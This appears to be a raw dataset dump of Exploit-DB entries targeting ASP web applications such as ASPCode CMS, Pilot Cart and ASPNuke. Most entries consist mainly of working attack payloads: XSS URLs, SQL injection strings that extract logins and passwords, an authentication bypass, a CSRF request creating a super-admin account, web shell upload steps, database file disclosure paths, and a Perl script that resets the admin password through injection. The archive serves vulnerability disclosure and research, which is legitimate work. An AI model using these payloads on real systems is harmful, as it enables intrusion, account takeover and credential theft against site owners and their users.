deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27897
Description: ASPBB 0.5.2 - 'profile.asp?get' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-18
Author: TeufeL

Exploit:
source: https://www.securityfocus.com/bid/18025/info
 
ASPBB is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/profila.asp?get="><script>alert('Xss Vulnerability');</script>&URL=%2FDefault%2Easp%3F
Exploit-DB #29073
Description: ASPCart 4.5 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21152/info

ASPCart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://example.com/mega-mall/product_review.php?t=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=1004&sk=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=1004&t=0&x=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=1004&sk=USERID&so=[sql]
http://example.com/mega-mall/order-track.php?Enter=1&orderNo=[sql]
Exploit-DB #33722
Description: ASPCode CMS 1.5.8 - 'default.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-03-08
Author: Alberto Fontanella

Exploit:
source: https://www.securityfocus.com/bid/38601/info

ASPCode CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ASPCode CMS 1.5.8 is vulnerable; other versions may also be affected. 


http://www.example.com/default.asp?sec=1&ma1="><script>alert("XSS");</script>
http://www.example.com/default.asp?sec=1&tag="><script>alert("XSS");</script>
http://www.example.com/default.asp?sec=1&ma2="><script>alert("XSS");</script>
http://www.example.com/default.asp?sec=33&ma1=forgotpass
Exploit-DB #12464
Description: ASPCode CMS 1.5.8 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-04-30
Author: Dr. Alberto Fontanella

Exploit:
#
#
# Multiple Vulnerability in ASPCode CMS
#
# [Software Version]: <= v1.5.8
# [Vendor WebSite]: www.aspcodecms.com 
# [Date]: 01 January 2010
# 
# Found by Alberto "fulgur" Fontanella
# 
# itsicurezza<0x40>yahoo.it - ictsec.wordpress.com
#
#


[1] - [Multiple XSS Vulnerability]

   http://[host]/default.asp?sec=1&ma1="><script>alert("XSS");</script>

   http://[host]/default.asp?sec=1&tag="><script>alert("XSS");</script>

   http://[host]/default.asp?sec=1&ma2="><script>alert("XSS");</script>

   XSS found also on Form to reset password: http://[host]/default.asp?sec=33&ma1=forgotpass
   
   Put XSS String in Email Field and Submit it


[2] - [Persistent XSS]

   Post in Guestbook Section: http://[host]/default.asp?sec=23

   <img src="http://[host]/default.asp?sec=1&ma1="><script>alert("XSS");</script>"></img>


[3] - [CSRF]

   To Delete an User Account

   http://[host]/default.asp?a1=admin&a2=modules&a3=manage&module=users&ma1=users&ma2=delete&idx=50

   To Create a Super Admin Account

   POST /default.asp?a1=admin&a2=modules&a3=manage&module=users&ma1=users&ma2=update&idx=-1
   HTTP/1.1
   Host: [host]
   User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-us,en;q=0.5
   Accept-Encoding: gzip,deflate
   Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   Keep-Alive: 300
   Connection: keep-alive
   Referer: http://[host]/default.asp?a1=admin&a2=modules&a3=manage&module=users&ma1=users&ma2=edit&idx=-1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 140

   username=HAXOR&[CREDENTIAL_REDACTED]_[CREDENTIAL_REDACTED]_is_encrypted=false&email=HAXOR%40BLACKHAT.ORG&roleId=4&redirsectionid=0&confirmed=true
   
   You can use CSRF + XSS (Very Dangerous)


[4] - [Possible SQL Injection]

   http://[host]/default.asp?sec=64&ma1=tag&tag=CMS'

   Errore numero: [PII_REDACTED]
   Errore: Errore di sintassi (operatore mancante) nell'espressione della query
   '[ID] IN ()'.

   Query:
   SELECT * FROM [section] s WHERE [ID] IN ()


   http://[host]/default.asp=sec=1'

   Errore di run-time di Microsoft VBScript (0x800A000D)
   Tipo non corrispondente: 'sectionID'
   /include/api.asp, line 657
Exploit-DB #24185
Description: AspDotNetStorefront 3.3 - 'ReturnURL' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-06-09
Author: Thomas Ryan

Exploit:
source: https://www.securityfocus.com/bid/10507/info

AspDotNetStorefront is prone to a cross-site scripting vulnerability. This issue exists due to insufficient sanitization of user-supplied data. The problem presents itself in the 'returnurl' parameter of the 'signin.aspx' script of the application and can allow remote attackers to steal cookie-based authentication credentials and carry out other attacks.

AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well.

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style=
"background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri
pt>alert('Vulnerable_To_XSS')</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri
pt>alert("Vulnerable_To_XSS")</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img
%20src="javascript:alert('Vulnerable_To_XSS')">
Exploit-DB #24184
Description: AspDotNetStorefront 3.3 - Access Validation
Type: webapps
Platform: asp
Date: 2004-06-09
Author: Thomas Ryan

Exploit:
source: https://www.securityfocus.com/bid/10506/info

AspDotNetStorefront is reportedly prone to an access validation vulnerability that may allow a remote attacker to delete arbitrary contents from a vulnerable Web site. The issue occurs because the 'deleteicon.aspx' script does not validate access before allowing an unprivileged user to delete contents such as icons and images from the site.

Other attacks may be possible as well, however, this has not been confirmed.

AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well.

http://www.example.com/aspdotnetcart/admin/deleteicon.aspx?ProductID=1&Fo
rmImageName=Pic1&size=icon
Exploit-DB #29216
Description: Aspee Ziyaretci Defteri - 'giris.asp' Multiple Field SQL Injections
Type: webapps
Platform: asp
Date: 2006-12-01
Author: ShaFuq31

Exploit:
source: https://www.securityfocus.com/bid/21398/info

Aspee ZiyaretÃ§i Defteri is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title> <center>ShaFuck31 - LiderHack.Org</center> <FORM NAME=giris ACTION="http://victim.com/[path to script]/giris.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form>
Exploit-DB #10503
Description: ASPGuest - 'edit.asp?ID' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe:(edit.asp ID) Blind SQL Injection Vulnerability
[~] Vendor: www.cjwsoft.com
[*] Software: ASPGuest (free)
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 3:03 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] www.target.com/[path]/admin/edit.asp?ID={EV!L blind sql}


[*] EV!L BL!ND sql

[*] 7Ru3 : campaignEdit.asp?CCam=1 and 1=1

[*] f4L53: campaignEdit.asp?CCam=1 and 1=1


N073:

! 7h!/\/k u can f!nd m0r3

just let your m1nd breath ;)


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};
Exploit-DB #36141
Description: Aspgwy Access 1.0 - 'matchword' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-09-19
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/49674/info

Aspgwy Access is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Aspgwy Access 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/search_results.asp?search_word=&matchword=[XSS]
Exploit-DB #5765
Description: ASPilot Pilot Cart 7.3 - 'article' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-09
Author: Bl@ckbe@rD

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

[+] Script Name    : Pilot Cart 7.3 Remote SQL Injection Exploit

|+| Team           : injEct0r5

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Script URL     : www.pilotcart.com

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

pilot.asp?pg=kb&article={SQL}

{SQL} -->  115+union+select+Name,Name,Name+from+msysobjects

Or blind it :

{SQL} -->  IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'Bingo')%00

--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-06-09]
Exploit-DB #15497
Description: ASPilot Pilot Cart 7.3 - 'newsroom.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-11-12
Author: Daikin

Exploit:
# Title: [ASPilot Pilot Cart 7.3 SQL Injection]
# Date: [12.11.2010]
# Author: [Daikin]
# Software Link: [http://www.pilotcart.com]
# Version: [7.3] maybe also lower
 
Vendor's Description of Software and demo:
# http://www.pilotcart.com
 
Dork:
# Powered by Pilot Cart V.7.3
 
Application Info:
# Name: Pilot Cart
# version last 7.3
 
Vulnerability Info:
# Type: SQL injection
# Discover 8/11/2010
 

#Vuln description:
Input passed via the "specific" parameter to newsroom.asp is not properly
sanitised before being used in a SQL query.

http://server/newsroom.asp?specific=[injection]

#Proof

http://server/newsroom.asp?specific=1

DB: MSAccess

http://server/newsroom.asp?specific=-1%20UNION%20ALL%20SELECT%20null,(select%20top%201%20chr(126)%2bchr(39)%2bcstr(email)%2bchr(39)%2bchr(126)%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20tbllogins%20order%20by%201)%20t%20order%20by%201%20desc)t),null,null,null,null,null%20from%20tbllogins
-->mail field "scarab"

http://server/newsroom.asp?specific=-1%20UNION%20ALL%20SELECT%20null,(select%20top%201%20chr(126)%2bchr(39)%2bcstr(pword)%2bchr(39)%2bchr(126)%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20tbllogins%20order%20by%201)%20t%20order%20by%201%20desc)t),null,null,null,null,null%20from%20tbllogins
-->pass field "R1ckr011"

#
Credit:
Daikin 

bolidebolidebolide@gmail.com
Exploit-DB #15448
Description: ASPilot Pilot Cart 7.3 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-11-07
Author: Ariko-Security

Exploit:
# Title: [ASPilot Pilot Cart 7.3 multiple vulnerabilities]
# Date: [07.11.2010]
# Author: [Ariko-Security]
# Software Link: [http://www.pilotcart.com]
# Version: [7.3]

# CVE Reference: CVE-2008-2688 (only 1 SQL injection) 
# EDB-ID: 5765 (only 1 SQL injection)


# Ariko-Security: Security Audits , Audyt bezpieczeństwa
# Advisory: 745/2010

============ { Ariko-Security - Advisory #1/11/2010 } =============

ASPilot Pilot Cart 7.3 multiple vulnerabilities

Vendor's Description of Software and demo:
# http://www.pilotcart.com

Dork:
# Powered by Pilot Cart V.7.3

Application Info:
# Name: Pilot Cart 
# version last 7.3

Vulnerability Info:
# Type: multiple SQL injections, multiple XSS, multiple iFrame injections, multiple link injections.

Time Table:
# 29/10/2010 - Vendor notified.

Fix:
# n/a

5x SQL injection

Input passed via the "article" parameter to pilot.asp and kb.asp is not properly
sanitised before being used in a SQL query.
Input passed via the "specific" parameter to cart.asp is not properly
sanitised before being used in a SQL query.
Input passed via the "countrycode" parameter to contact.asp is not properly
sanitised before being used in a SQL query.
Input passed via the "srch" parameter to search.asp is not properly
sanitised before being used in a SQL query.

5x link injections, 5x XSS, 5xiFrame injections.

Input passed to the "countrycode" parameter in contact.asp is not properly
sanitised before being returned to the user.

Input passed to the "USERNAME" parameter in gateway.asp and cart.asp is not properly
sanitised before being returned to the user.

Input passed to the "specific" parameter in quote.asp and buyitnow.asp is not properly
sanitised before being returned to the user.

Link injections:
http://server/contact.asp
countrycode=[link]
http://server/gateway.asp 
USERNAME=[link]
http://www.pilotcart.com/quote.asp 
specific=[link]

http://server/cart.asp?mode=checklogin
[POST] USERNAME=[link]
http://www.pilotcart.com/buyitnow.asp?doit=yes
[POST] specific=[link]

XSS:
http://server/contact.asp
countrycode=XSS
http://server/gateway.asp 
USERNAME=XSS
http://server/quote.asp
specific=XSS

http://server:80/cart.asp?mode=checklogin
[POST] USERNAME=XSS
http://server:80/buyitnow.asp?doit=yes
[POST] specific=XSS

iFrame Injections:
http://servercontact.asp 
countrycode=[iFrame]
http://server/gateway.asp 
USERNAME=[iFrame]
http://server/quote.asp
specific=[iFrame]

http://server:80/cart.asp?mode=checklogin
[POST] USERNAME=[iFrame]
http://server:80/buyitnow.asp?doit=yes
[POST] specific=[iFrame]



Solution:
# Input validation of all vulnerable parameters should be corrected.

Credit:
# Discoverd By: Maciej Gojny / Ariko-Security 2010
Advisory:
http://advisories.ariko-security.com/november/audyt_bezpieczenstwa_745.html

Ariko-Security Sp. z o.o.
Rynek Glowny 12
32-600 Oswiecim
tel:. +48 33 4741511 mobile: +48 784086818
(Mo-Fr 10.00-20.00 CET)
Exploit-DB #29011
Description: ASPIntranet 2.1 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21061/info

ASPIntranet is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/default.asp?a=[SQL]
Exploit-DB #29046
Description: ASPIntranet 2.1 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-15
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21105/info

ASPIntranet is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 5.0.9 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/viewDetails.asp?pid=[HERE]
Exploit-DB #31070
Description: ASPired2Protect Login Page - SQL Injection
Type: webapps
Platform: asp
Date: 2008-01-28
Author: T_L_O_T_D

Exploit:
source: https://www.securityfocus.com/bid/27474/info

ASPired2Protect is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following exploit information is available:

Passing:

' or '

will bypass the authentication process.
Exploit-DB #7446
Description: ASPired2Quote - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-14
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: ASPired2Quote
Vendor : http://thenetguys.us/Home/Quote.asp
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/admin/quote.mdb
 
---------------------------------
Victem :
http://thenetguys.us/ASPired2/Quote/index.asp

# milw0rm.com [2008-12-14]
Exploit-DB #7373
Description: aspmanage banners - Arbitrary File Upload / File Disclosure
Type: webapps
Platform: asp
Date: 2008-12-07
Author: ZoRLu

Exploit:
[~] ASPManage Banners RFU/DD Multiple Remote Vuln
[~]
[~] Demo: http://demo.merlix.com/adbanner5
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp: ( rfu )

http://localhost/script/banners/shell.asp

exp: ( dd )

http://localhost/script/data/DataBase.mdb



rfu: ( for demo )

you go here:

http://demo.merlix.com/adbanner5/Upload.Asp

select your shell.asp

after click to upload button

go your shell.asp

http://demo.merlix.com/adbanner5/banners/xyz.asp


dd: ( for demo )

http://demo.merlix.com/adbanner5/data/DataBase.mdb


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-07]
Exploit-DB #26759
Description: ASPMForum - 'forum.asp?baslik' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-07
Author: dj_eyes2005

Exploit:
source: https://www.securityfocus.com/bid/15767/info

ASPMForum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspmforum/forum.asp?baslik=[sql injection]
Exploit-DB #26760
Description: ASPMForum - 'kullanicilistesi.asp?harf' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-07
Author: dj_eyes2005

Exploit:
source: https://www.securityfocus.com/bid/15767/info
 
ASPMForum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspmforum/kullanicilistesi.asp?harf=[sql injection]
Exploit-DB #1070
Description: ASPNuke 0.80 - 'article.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-27
Author: mh_p0rtal

Exploit:
#!/usr/bin/perl
######################################################################################
#        T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
######################################################################################
# EXPLOIT FOR: ASPNuke ASP Portal
#
# Expl0it By: mh_p0rtal@Yahoo.com
#
# Discovered By: Trap-Set Underground Hacking Team (oil_KarchacK)
#
######################################################################################
#  GR33tz T0 ==>    Alpha_programmer  --  oil_Karchack  --  the_CephaleX  -- Str0ke
#  And Iranian Security & Technical Sites:
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team , Hat-squad security team  & Simorgh-ev Security Team
######################################################################################
use IO::Socket;

if (@ARGV < 1)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By mh_p0rtal --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "         Usage:ASPNuke.pl <T4rg3t> \n\n";
 print "==========================================\n\n";
 print "Examples:\n\n";
 print "   ASPNuke.pl www.Site.com \n";
 exit();
}

my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "[+]C0nn3cted\n";

$addr = "GET /module/article/article/article.asp?articleid=1%20;%20update%20tbluser%20SET%20[CREDENTIAL_REDACTED]'%20,%20username='trapset'%20where%20userID=1%20-- HTTP/1.0\n";
$addr .= "Host: $host\n\n\n\n";
print "\n";
print $remote $addr;
print "[+]Wait...";
sleep(5);
print "Wait For Changing Password ...\n";

print "[+]OK , Now Login With : \n";
print "Username: trapset\n";
print "[CREDENTIAL_REDACTED]\n\n";


# milw0rm.com [2005-06-27]